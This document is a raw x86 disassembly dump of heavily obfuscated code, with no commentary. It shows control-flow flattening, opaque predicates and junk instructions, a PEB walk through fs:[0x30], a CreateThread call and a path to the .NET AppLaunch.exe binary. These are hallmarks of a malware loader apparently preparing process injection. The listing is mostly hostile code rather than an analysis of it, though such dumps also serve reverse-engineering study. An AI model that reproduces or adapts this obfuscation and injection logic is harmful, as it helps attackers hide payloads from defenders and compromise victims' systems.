sub edi, 0xaa
ror edx, 0x28
dec edx
sbb ebx, 0xe
sbb eax, 0x8d
bswap ebx
add ebx, 0x72
not edi
neg esi
and eax, 0x46
rcr edx, 0x35
rcr edx, 0xad
not eax
rol eax, 0x24
neg edx
rcl ebx, 0x38
not eax
neg edi
imul edi
rcl edi, 0x93
rcl ebx, 0x70
or esi, 0x8b
inc edx
dec edi
mov edx, 0xd3
inc esi
inc edx
sub esi, 0xe4
dec esi
dec edi
bswap ebx
imul edx
inc edx
and edx, 0x5d
rol edx, 0x78
mov esi, 0xe1
neg esi
not esi
rol eax, 0xbf
rcl edx, 0x14
sbb eax, 0xbe
bswap eax
imul ebx
imul esi
rcl edx, 0xa8
inc edx
rol ebx, 0x66
sbb eax, 0xdd
bswap edi
bswap edi
rcr edx, 0x1c
bswap esi
mov edi, 0x6d
or eax, 0x26
inc edx
neg edi
imul esi
rcl eax, 0x1c
rcr ebx, 3
bswap edi
imul edx
dec edx
or edx, 0x8a
not edx
mov edi, 0xf
mov edi, 0x67
and eax, 0xa7
rcr edi, 0x80
rcl edi, 0xe9
rcr ebx, 0x72
inc esi
inc ebx
not esi
bswap esi
rol eax, 0xf7
ror eax, 0x4b
dec esi
rol eax, 0x95
bswap eax
dec esi
imul ebx
imul esi
bswap eax
rcl esi, 0x1b
neg ebx
not edi
rol edi, 0x5d
bswap ebx
imul ebx
ror edx, 0x8a
bswap ebx
rcl eax, 0x1f
mov eax, 0x24
rcr esi, 0x36
imul edx
neg edx
neg eax
rcl esi, 0x41
inc esi
inc eax
ror edi, 0xfa
not edi
bswap esi
and esi, 0xad
imul ebx
neg eax
imul esi
inc ebx
inc esi
rol eax, 0x71
rcl eax, 0x31
and eax, 0xd1
mov eax, 0x25
not eax
neg esi
imul esi
neg edx
or eax, 0xeb
or ebx, 0x45
bswap edx
ror esi, 2
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x100], eax
mov eax, 0x7180f16
jmp 0x402740
cmp eax, 0x9a3e5d76
je 0x4131ee
cmp eax, 0x9a8434e7
jne 0x402740
mov eax, dword [ebp - 0x130]
mov eax, 0x63bb271e
jmp 0x402740
cmp eax, 0x59c1924f
je 0x413240
cmp eax, 0x5ac97e47
jne 0x402740
mov eax, 0x4f7e4324
jmp 0x402740
cmp eax, 0x3bb25ab
je 0x4133e9
cmp eax, 0x3dfe6a6
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
mov esi, ecx
or edx, 0x1978d64
and esi, 0x1978d64
and ecx, 0x2a95cf6e
mov edi, eax
and edi, 0xfe68729a
and edx, 0x1978d65
and eax, 0xd56a3091
or edi, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xd56a3091
mov edi, esi
and edi, 0x2a95cf6e
or edx, edi
xor eax, edx
not eax
or eax, esi
xor eax, 0xffffffff
sete dl
setne ch
cmp dword [0x4f6180], 0xa
mov dh, dl
setl ah
setge al
mov cl, ah
xor ah, dl
and dh, al
xor dl, al
or al, ch
xor al, 1
and cl, ch
or al, ah
mov ah, dl
or cl, dh
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov ch, dl
mov eax, 0xbc136f4
xor ch, cl
test dl, 1
mov edx, 0x3b512f48
cmovne eax, edx
test cl, 1
not ch
cmovne eax, edx
test ch, 1
mov edx, 0xbc136f4
cmove eax, edx
jmp 0x402740
cmp eax, 0x40b71cce
je 0x41340f
cmp eax, 0x40c7d298
jne 0x402740
mov eax, dword [0x4f6184]
mov edi, 0x9aac6ec0
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0xad11ef8c
and eax, 0x52ee1073
or esi, eax
mov ecx, esi
xor ecx, 0xad11ef8c
xor esi, 0x52ee1073
mov eax, esi
mov edx, ecx
or eax, 1
and esi, 0xfffffffe
and edx, 1
and ecx, 0x30d859d2
or edx, esi
mov esi, eax
and esi, 0xcf27a62d
or ecx, esi
mov esi, edx
not esi
and edx, 0x30d859d2
or eax, esi
and esi, 0xcf27a62d
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xbaffec01
and edx, 0x450013fe
or edx, esi
mov esi, ecx
not esi
and ecx, 0x450013fe
or eax, esi
and esi, 0xbaffec01
or ecx, esi
not eax
mov esi, 0x935137e9
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb5750123
and ecx, 0x4a8afedc
or ecx, eax
mov eax, ecx
xor eax, 0x11010022
xor ecx, 0x20abc44
and ecx, 0xa67ebd45
and eax, 0x598142ba
or eax, ecx
xor eax, 0x598142ba
sete al
setne dl
cmp dword [0x4f6180], 0xa
setl cl
mov ah, cl
xor dl, cl
or ah, al
xor al, cl
xor dl, 1
mov cl, ah
and al, ah
xor cl, 1
mov ah, al
or cl, dl
not ah
mov edx, ecx
and cl, al
xor dl, 1
and ah, dl
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0x9aac6ec0
cmovne eax, edi
test cl, cl
cmove eax, edi
jmp 0x402740
cmp eax, 0xbcce449a
je 0x4134ca
cmp eax, 0xbd0db1b1
jne 0x402740
mov eax, 0x113fdd64
jmp 0x402740
cmp eax, 0x7b4bb4a1
je 0x4136ec
cmp eax, 0x7c5e8f13
jne 0x402740
mov eax, 0x5ee70cd3
jmp 0x402740
cmp eax, 0xdae19960
je 0x413705
cmp eax, 0xdb6a0101
jne 0x402740
mov eax, dword [ebp - 0x24]
mov esi, 0x2ae8524b
mov edi, 0xde52abd7
mov eax, dword [eax]
mov dword [ebp - 0x1c8], eax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x121bf0a
and eax, 0x121bf0a
and edx, ecx
or eax, edx
not edx
and edx, 0xfede40f4
and eax, 0x121bf0b
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x4f6180], 0xa
setge dl
setl ah
and al, dl
or dl, cl
and ah, cl
mov ecx, edx
or al, ah
mov ah, dl
not cl
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor cl, al
xor al, 1
xor dl, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xde52abd7
cmovne edx, esi
test cl, 1
mov ecx, edx
cmovne ecx, edi
test al, 1
cmovne ecx, edx
mov eax, ecx
jmp 0x402740
cmp eax, 0xecb43dc
je 0x413715
cmp eax, 0xfe7c6c3
jne 0x402740
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, 0x2e78bf3d
jmp 0x402740
cmp eax, 0x87637687
je 0x4137cd
cmp eax, 0x88a5e1b3
jne 0x402740
mov eax, dword [ebp - 0x11c]
movzx eax, word [eax + 6]
mov word [ebp - 0xf6], ax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x214b74de
and eax, 0xdeb48b21
or ecx, eax
mov eax, ecx
xor eax, 0x20425496
xor ecx, 0x8ca00020
and ecx, 0x8da92068
and eax, 0x7256df97
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x42504c94
xor ecx, 0x8da92068
xor eax, 0xe78b8445
mov esi, ecx
and edx, 0xcad04c94
and esi, 0x352fb36b
and eax, ecx
or esi, edx
mov ecx, esi
mov edx, esi
xor ecx, 0x352fb36b
xor edx, 0xa0f2e8b9
xor esi, 0x82400c14
and edx, ecx
and esi, 0x93430c7e
or eax, edx
mov edx, eax
not edx
and eax, 0x6a22a42c
and edx, 0x95dd5bd3
or eax, edx
mov edx, ecx
and edx, 0x6cbcf381
and ecx, 1
or edx, esi
mov esi, 0xdae19960
xor edx, 0x93430c7f
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xba3e837a
and edx, 0x45c17c85
or ecx, edx
xor ecx, 0xba3e837a
or ecx, eax
mov eax, ecx
xor eax, 0xb3ce3c39
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x4c31c3c6
and ecx, 0xb3ce3c39
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x3fdf3314
and eax, 0xc020cceb
or eax, ecx
mov ecx, eax
xor ecx, 0x88f0014
xor eax, 0x40208421
and eax, 0x7770b721
and ecx, 0x888f48de
or ecx, eax
cmp ecx, 0x888f48de
setne al
cmp dword [0x4f6180], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
and al, dl
mov dl, ah
xor al, 1
xor dl, al
or al, ah
xor al, 1
or al, dl
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
xor ah, cl
or dl, ch
mov ch, dl
xor dl, 1
and ch, cl
xor cl, 1
or al, cl
and dl, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x4a8ea283
cmovne ecx, esi
test al, 1
mov eax, 0x4a8ea283
jmp 0x414567
cmp eax, 0x4adceec4
je 0x413807
cmp eax, 0x4afcb8fe
jne 0x402740
mov eax, 0x6ee14ed3
jmp 0x402740
cmp eax, 0xf251b19c
je 0x41382b
cmp eax, 0xf3eab0df
jne 0x402740
mov eax, 0x3ae2262c
jmp 0x402740
cmp eax, 0x2fe5c94c
je 0x413a42
cmp eax, 0x2ffb7b41
jne 0x402740
mov eax, dword [ebp - 0x10c]
mov eax, 0x1302ce46
jmp 0x402740
cmp eax, 0xa82cd147
je 0x413a4c
cmp eax, 0xa84b797a
jne 0x402740
mov eax, dword [ebp - 0x1d8]
add eax, dword [ebp - 0x1dc]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov ecx, 0xc6d7253e
mov eax, dword [ebp - 0x7c]
cmp byte [eax], 0
mov eax, 0xdee955d4
cmove eax, ecx
jmp 0x402740
cmp eax, 0x66c7a131
je 0x413a56
cmp eax, 0x66e40a52
jne 0x402740
mov eax, 0x606b2a54
jmp 0x402740
cmp eax, 0xccf44051
je 0x413a60
cmp eax, 0xce90040c
jne 0x402740
mov eax, 0x13eea6b0
jmp 0x402740
cmp eax, 0x1e7b0f9c
je 0x413a6a
cmp eax, 0x1f51b74b
jne 0x402740
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0xa963ebaa
jmp 0x402740
cmp eax, 0x97942341
je 0x413b1c
cmp eax, 0x97b1e044
jne 0x402740
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x1a8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, 0x390e2518
jmp 0x402740
cmp eax, 0x55c3dcc6
je 0x413b2f
cmp eax, 0x55cf45df
jne 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x5ccc8c6
mov esi, ecx
and esi, 0xfa333738
and ecx, 0x19fbeac3
or eax, esi
mov esi, eax
xor esi, 0x4408006
xor eax, 0xfa333739
mov edi, eax
and edi, 0x4bbc49e9
and esi, 0xb443b616
or esi, edi
mov edi, edx
xor edi, 0xfffffffe
and edi, edx
mov ebx, edi
not ebx
and edi, 0xb443b616
or eax, ebx
and ebx, 0x4bbc49e9
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0xe604153c
and edi, 0xe604153c
and esi, 0x19fbeac3
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0x5d3dd384
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xac2a8cb5
and ecx, 0x53d5734a
or eax, ecx
xor eax, 0xac2a8cb5
setne dl
sete ch
cmp dword [0x4f6180], 0xa
setge al
mov ah, al
inc ah
mov dh, ah
and dl, ah
and dh, al
and al, ch
xor dh, 1
or al, dl
mov cl, dh
or dh, ah
xor al, 1
xor cl, ah
or ah, ch
mov dl, al
xor dh, 1
or al, ah
xor dl, ah
or dh, cl
xor al, 1
mov cl, dh
or al, dl
xor cl, ch
or ch, dh
mov ah, al
xor cl, 1
xor ch, 1
xor ah, 1
and cl, dh
mov dl, ah
or cl, ch
and dl, al
xor dl, 1
or dl, al
mov al, ah
xor dl, 1
xor al, cl
or dl, ah
or ah, cl
xor ah, 1
xor dl, cl
mov ecx, 0x73660e44
or ah, al
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, 1
not al
cmove ecx, esi
test al, 1
mov eax, 0x73660e44
cmovne ecx, eax
mov eax, ecx
jmp 0x402740
cmp eax, 0xff80d5f8
je 0x413cbc
cmp eax, 0xff98bfdd
jne 0x402740
mov eax, dword [ebp - 0x1b8]
mov ecx, 0xaf2a3b0e
cmp eax, 0xc
mov eax, 0x15702eab
cmove eax, ecx
jmp 0x402740
cmp eax, 0x3dd1c427
je 0x413cc6
cmp eax, 0x3e29d64d
jne 0x402740
mov eax, dword [ebp - 0x84]
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xbe1e96ac
and eax, 0x41e16953
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x270028ba
and eax, 0xd8ffd745
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x991ebe16
xor eax, 0x66e141e9
xor edx, 0x66e141e8
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x26d987c4
mov esi, ecx
and esi, 0xd926783b
or edx, esi
mov esi, eax
not esi
and eax, 0x26d987c4
or ecx, esi
and esi, 0xd926783b
or eax, esi
not ecx
mov esi, 0xbf1bcc1c
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x209977e4
and eax, 0xdf66881b
or eax, ecx
xor eax, 0x209977e4
setne al
sete dl
cmp dword [0x4f6180], 0xa
setl ah
mov cl, ah
xor al, ah
xor cl, dl
or dl, ah
mov ah, al
or al, dl
and cl, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xffdd7f51
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, esi
jmp 0x41456a
cmp eax, 0xb957ca62
je 0x413cdf
cmp eax, 0xb96042e4
jne 0x402740
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1e0], eax
mov eax, 0xdd82ef16
jmp 0x402740
cmp eax, 0x74f5a28f
je 0x413ce9
cmp eax, 0x75afd2d4
jne 0x402740
sbb esi, 0x54
rol eax, 0xe9
bswap esi
ror eax, 2
and edx, 2
and edx, 0xee
mov edx, 0x42
dec ebx
imul edx
bswap edx
rol eax, 4
imul esi
neg edi
rol esi, 0x5e
inc eax
not ebx
bswap edx
bswap esi
imul eax
rol edx, 0x16
ror eax, 0xbe
inc edi
mov eax, 0x7f
inc edx
dec ebx
not eax
mov edi, 0x15
ror edx, 0xb7
rcr edx, 0x96
neg ebx
sbb edx, 0x97
not ebx
bswap eax
and ebx, 0x7b
sub edi, 0xa6
mov esi, 0x24
bswap edx
not edx
inc edi
and edx, 0x6c
or esi, 0x90
rcl edx, 0xbb
sub ebx, 0x7b
inc esi
sbb edi, 0x6a
neg edx
neg edi
mov ebx, 0x24
or eax, 0xaf
sbb ebx, 0x5f
inc esi
dec edx
inc edi
dec esi
dec esi
not eax
rol edi, 0x22
ror edx, 0xa3
dec edi
imul esi
not edi
rcr eax, 0x33
not eax
ror eax, 0xc6
sbb edx, 0xe3
bswap edx
and edi, 0x31
imul edi
mov eax, 6
and edx, 0x98
inc eax
or esi, 0x4d
inc edx
and eax, 0xaf
imul esi
add eax, 0
bswap edx
dec ebx
not edi
inc edi
inc eax
sbb eax, 0xb3
inc esi
dec eax
inc eax
or esi, 0x67
bswap ebx
rol edi, 0xe4
bswap edx
imul edi
ror ebx, 0xc6
rol edx, 0x84
and esi, 0x9d
rcl edi, 0x4f
ror eax, 0x33
neg ebx
dec ebx
rol eax, 0x44
add ebx, 0x92
dec edx
neg edi
mov esi, 0x54
mov ebx, 0xc0
neg edx
sub ebx, 0x81
ror ebx, 0x8f
mov eax, 0x9a
neg edi
not eax
inc edi
bswap eax
ror esi, 0x52
bswap ebx
not ebx
inc eax
mov edi, 0xc8
sbb esi, 0xff
mov edx, 0x46
sub edi, 0x59
dec esi
or edx, 0xd2
and eax, 0xf5
rcr eax, 0x75
neg eax
sub edi, 0xee
mov ebx, 0x8d
dec eax
inc ebx
neg eax
mov eax, 0x6f
bswap eax
rcl ebx, 0xae
bswap eax
add esi, 0x1e
ror eax, 4
neg ebx
rol eax, 0xa7
add edi, 0x2a
not esi
rcr esi, 0x97
dec edi
rol edi, 0xf9
rcr edx, 0xe2
ror edi, 6
inc edi
mov edx, 0xfe
and ebx, 0xd1
sub ebx, 0x98
neg eax
inc esi
mov ecx, dword [ebp - 0x1c]
vmovups ymm1, ymmword [0x4411b0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x4411d0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0xc8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xdc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xcc]
add eax, 0xfffffff8
mov dword [ecx], eax
add edi, 0x1a
neg edx
ror esi, 0x4e
imul esi
bswap esi
neg esi
rol esi, 0x25
bswap edi
or eax, 0xaa
mov edi, 0xa9
mov ebx, 0x14
imul edx
rcl edi, 0xfb
bswap edi
bswap edx
sub ebx, 0xcf
sub esi, 0x11
sbb ebx, 0x3c
inc esi
mov edi, 0x82
inc ebx
neg eax
rol ebx, 0xca
not edx
sbb ebx, 0xf3
imul ebx
or eax, 0x3a
rcr eax, 0xb1
and edx, 0xcf
rcl ebx, 0x2b
add esi, 0x2f
rcr esi, 0x51
bswap esi
rcl eax, 0xb8
ror edx, 0xb7
rol eax, 0x61
add esi, 0x58
mov edi, 0xd
inc edi
and edx, 0x2f
rcr edx, 0xe5
or ebx, 0xcb
add edx, 0xf1
sub esi, 0xbb
rol esi, 0x75
neg edx
mov edx, 0x9b
bswap edx
rol edi, 0xfc
add ebx, 0x65
neg edx
imul esi
mov edi, 0x43
not ebx
mov edi, 0x3c
imul eax
rcl ebx, 0x5c
rcr edi, 0x1b
dec eax
inc eax
sbb eax, 0x4a
dec edi
sub edi, 0xeb
imul edx
imul esi
rcr eax, 0xcf
sbb esi, 0xf
add eax, 0xed
rcr esi, 5
dec ebx
imul esi
rol edi, 0
sbb esi, 0x80
not ebx
rcr edx, 6
not eax
rol ebx, 0x53
imul eax
dec edi
bswap eax
neg edi
and eax, 0xdd
dec edx
rcl edi, 0x29
bswap ebx
neg ebx
inc eax
bswap edi
mov esi, 0x11
bswap eax
inc edi
mov esi, 0x57
bswap ebx
mov eax, 0x43
rcl edx, 0xf1
not esi
neg edx
sub ebx, 0x80
inc edi
neg esi
and ebx, 0x29
imul ebx
dec esi
dec ebx
or ebx, 0x8c
rol edx, 0x5a
sub ebx, 0xee
not ebx
or eax, 0xa5
imul esi
rcl edi, 0x7a
sbb edi, 0xc7
sbb eax, 0xe2
neg eax
neg eax
rol ebx, 0x9e
dec esi
imul eax
rol edi, 0x22
add eax, 0x2d
rcr edx, 0x4d
or edx, 0x29
rcl edi, 0xf8
dec eax
rol esi, 0xe0
and eax, 0x73
mov edi, 0xe2
ror eax, 0x3c
sub edi, 0xfa
not edx
inc edx
add eax, 0x98
imul esi
not esi
rcr edi, 0x98
and edx, 0xf2
inc edx
sbb eax, 0x7b
rol edi, 4
mov eax, 0x20
rol edx, 7
rol eax, 0x83
dec eax
imul edi
ror ebx, 0xde
imul esi
imul esi
add eax, 0x6a
and edi, 0xd3
ror ebx, 0x1e
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
add eax, 0x24
mov dword [ecx], eax
dec eax
not edx
rcr edx, 0xb8
dec eax
or edx, 0x9f
inc edx
not edx
sbb edx, 0x15
imul ebx
add edx, 5
sub ebx, 0xa9
or edi, 0x79
add ebx, 0xc
and esi, 0xc3
mov edx, 0x3f
neg edx
or edi, 0x58
sbb ebx, 0xf2
neg esi
inc ebx
not esi
rol edi, 0x32
add edx, 0x87
ror eax, 0x3d
ror esi, 0xa0
bswap eax
inc edx
dec esi
or ebx, 0x76
rcl ebx, 0x7a
mov esi, 0x1a
sbb ebx, 0xf7
sub edi, 0xe0
ror esi, 0x13
dec edi
neg esi
sbb edx, 0x70
not ebx
inc edi
dec eax
add ebx, 0xe0
dec ebx
not esi
inc ebx
add edi, 0x59
rcr edi, 0xf4
sub eax, 0x76
bswap esi
or edi, 0xc5
mov ebx, 1
bswap ebx
rol ebx, 0x9a
not ebx
add eax, 0x6a
dec ebx
neg eax
and edx, 0xd9
not ebx
rcr ebx, 0xe6
bswap eax
rol edx, 0xe0
neg edx
not edi
rol edx, 0x99
and ebx, 0x27
ror esi, 0x3b
ror ebx, 0x3e
bswap esi
not eax
sbb esi, 6
rcr eax, 5
not ebx
dec edx
add esi, 0xd0
rcr esi, 0x14
dec ebx
dec eax
ror eax, 0xaf
dec edx
not esi
not edi
dec edi
not edx
add eax, 0x17
rcl edx, 0x88
rcl ebx, 0x98
inc esi
ror edx, 0xaa
sub ebx, 8
inc edx
bswap eax
inc ebx
not edx
ror ebx, 0xcf
dec eax
inc ebx
inc esi
add ebx, 0xff
inc ebx
not edx
imul eax
sub esi, 0x6f
rcl esi, 0xb6
rol edx, 0x96
inc edi
rcl eax, 0x58
rcr esi, 0xd
rcr eax, 0xa9
dec esi
imul esi
add edx, 0xa3
mov edx, 0xfa
neg eax
sbb eax, 0xcb
ror edi, 0x4f
rol eax, 0xb5
bswap esi
rcl eax, 0x3e
sub edx, 0x82
inc edi
bswap esi
inc eax
imul esi
or esi, 0x54
rcl esi, 0x9c
imul esi
and edx, 0x9d
rol esi, 0x67
dec edi
imul edx
bswap esi
rcl ebx, 0xd4
rol ebx, 0x2e
and edx, 0xd6
bswap edx
rcr edx, 0xf5
neg ebx
rcr eax, 0xb
and esi, 0xf5
not edi
sbb edi, 0x9b
not ebx
sbb edx, 0xd4
neg ebx
or ebx, 0x62
or esi, 0x17
mov ebx, 0xa3
neg edi
dec eax
or eax, 0x3e
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x4411e8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x7c]
mov eax, 0x28fd2b32
jmp 0x402740
cmp eax, 0xe82ab9fe
je 0x413e15
cmp eax, 0xe8461a7d
jne 0x402740
mov eax, 0xef3a5ca4
jmp 0x402740
cmp eax, 0x180e12d2
je 0x413e2e
cmp eax, 0x183d428a
jne 0x402740
mov eax, dword [ebp - 0x144]
mov eax, 0x1974098b
jmp 0x402740
cmp eax, 0x9041b91e
je 0x413f3d
cmp eax, 0x90a43788
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x6b806a07
and eax, 0x947f95f8
or ecx, eax
mov eax, ecx
xor eax, 0x804200
xor ecx, 0x409078
and ecx, 0x6b40b87f
and eax, 0x94bf4780
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x1403814
xor esi, 0x94bf4780
xor eax, 0x41009000
mov ecx, esi
and ecx, 0x7a2f82eb
and edx, 0x85d07d14
or esi, 0xa0040046
and eax, 0x45029480
or edx, ecx
and esi, 0xa8942977
mov ecx, edx
xor edx, 0x7a2f82eb
xor ecx, 0x85d07d14
or eax, esi
mov edi, edx
or edi, 0x8902931
mov ebx, ecx
and ebx, 0x12694208
and edx, 0xf8b08a72
and edi, 0xa8942977
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0xad6b93e1
and esi, 0x52946c1e
or eax, esi
mov esi, ecx
and esi, 0x74f758d
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x18045022
xor eax, 0xe0f92e51
xor esi, 0xf8b08a73
and edx, 0x98447633
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xfd956a2e
and esi, 0x26a95d1
or ecx, esi
mov esi, eax
and esi, 0x67bb89cc
or edx, esi
mov esi, ecx
xor esi, 0x98046222
xor ecx, 0x26a95d1
or eax, ecx
and ecx, 0x67bb89cc
and esi, 0x98447633
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x29bb543b
mov ecx, eax
not ecx
and eax, 0x9d577d61
and ecx, 0x62a8829e
or ecx, eax
mov eax, ecx
xor eax, 0x9574120
xor ecx, 0x62a8829e
mov edx, ecx
and edx, 0x9480be4d
and eax, 0x6b7f41b2
or eax, edx
xor eax, 0x6b7f41b2
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x4f6180], 0xa
setl dl
setge ah
and al, dl
and ah, cl
or dl, cl
or al, ah
mov ecx, eax
xor cl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
mov ch, dl
xor ah, 1
and ah, dl
xor ah, 1
xor ch, ah
or ah, dl
mov edx, 0x9d53e982
xor ah, 1
or ah, ch
xor al, ah
xor ah, 1
or ah, cl
mov cl, ah
xor cl, al
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0x9d53e982
jmp 0x411538
cmp eax, 0x503ab272
je 0x41404b
cmp eax, 0x516df156
jne 0x402740
mov eax, 0xed8dfb55
jmp 0x402740
cmp eax, 0xfaa956c6
je 0x414055
cmp eax, 0xfb27676e
jne 0x402740
mov eax, 0xd95ed5dc
jmp 0x402740
cmp eax, 0x3617894c
je 0x41413b
cmp eax, 0x36510826
jne 0x402740
mov eax, 0xd7ba84fe
jmp 0x402740
cmp eax, 0xb228f5c2
je 0x4142ae
cmp eax, 0xb2d2102f
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x93549788
and ecx, 0x6cab6877
mov esi, eax
not esi
and eax, 0xf6d885e0
or edx, ecx
mov ecx, edx
xor ecx, 0x92508580
xor edx, 0x6cab6877
mov edi, edx
or edx, esi
and esi, 0x9277a1f
and edi, 0x9277a1f
and ecx, 0xf6d885e0
or ecx, edi
or eax, esi
not edx
xor eax, ecx
or edx, eax
mov edi, edx
not edi
mov ecx, edx
and ecx, 0xa973a447
and edx, 0xa0454820
mov eax, edi
and eax, 0x568c5bb8
or edi, 0x513a85d6
or ecx, eax
mov eax, ecx
mov ebx, ecx
xor eax, 0xa973a447
xor ebx, 0x7b6de6e
xor ecx, 0x100c0b80
and ebx, eax
mov dword [ebp - 0xac], eax
and ecx, 0xb96f8f80
mov eax, ebx
not eax
and ebx, 0xf0574da4
mov esi, eax
or eax, edi
and esi, 0xfa8b25b
and edi, 0xfa8b25b
or edx, edi
or ebx, esi
not eax
mov edi, 0xa44738cb
xor edx, ebx
or eax, edx
mov edx, eax
not edx
and eax, 0x3b92f75c
and edx, 0xc46d08a3
or eax, edx
mov edx, eax
xor edx, 0x28280281
xor eax, 0x95578d74
mov esi, eax
and esi, 0x4690707e
and edx, 0xb96f8f81
or edx, esi
mov esi, dword [ebp - 0xac]
or esi, 1
or eax, esi
and esi, 0x4690707e
or ecx, esi
not eax
mov esi, 0x1fc2357a
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
